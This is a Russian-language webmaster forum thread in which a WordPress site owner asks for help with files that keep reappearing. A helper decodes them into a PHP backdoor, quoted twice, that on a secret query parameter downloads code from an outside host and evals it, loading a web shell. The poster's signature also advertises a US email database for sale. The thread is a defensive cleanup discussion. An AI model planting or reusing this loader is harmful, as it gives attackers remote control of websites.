Форум Сайтостроение Веб-строительство

Размножающиеся файлы

Oshparennij
На сайте с 14.01.2008
Offline
174
Oshparennij
367

Доброго времени.. Борюсь с какимто скриптом. Запускал Айболит, плагин для ВП. Все равно появляются какието странные файлы на сайте. Сам сайт вроде работает как всегда...

Появляется этот гребаный код.. Помогите раскодировать плиз.

http://avercast.com.au/wp-includes/class-wp-customize.txt

Продам базу email (usa), валид 99%. Пишите в личку.
[umka]
На сайте с 25.05.2008
Offline
456
[umka]
#1
Oshparennij:
Появляется этот гребаный код.. Помогите раскодировать плиз.

<?

ini_set('display_errors','off');

error_reporting(0);

if ($_GET['varname']=='kolos') {

  $a=file_get_contents('http://genshop.org/script/prostoparanoia/rasras');

  eval($a);

  exit;

}

?>
Лог в помощь!
Oshparennij
На сайте с 14.01.2008
Offline
174
Oshparennij
#2
'[umka:
;15557329']
<?

ini_set('display_errors','off');

error_reporting(0);

if ($_GET['varname']=='kolos') {

  $a=file_get_contents('http://genshop.org/script/prostoparanoia/rasras');

  eval($a);

  exit;

}

?>

Огромное спасибо... А как запускается эта хрень? Как я понял. там с параметром, чтото подгружается со стороннего сайта?

Не совсем понял как посмотреть что site.com/aaa.php?kolos= так?

[umka]
На сайте с 25.05.2008
Offline
456
[umka]
#3
Oshparennij:
Огромное спасибо... А как запускается эта хрень? Как я понял. там с параметром, чтото подгружается со стороннего сайта?

Не совсем понял как посмотреть что site.com/aaa.php?kolos= так?

?varname=kolos

Подгружается веб-шелл.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий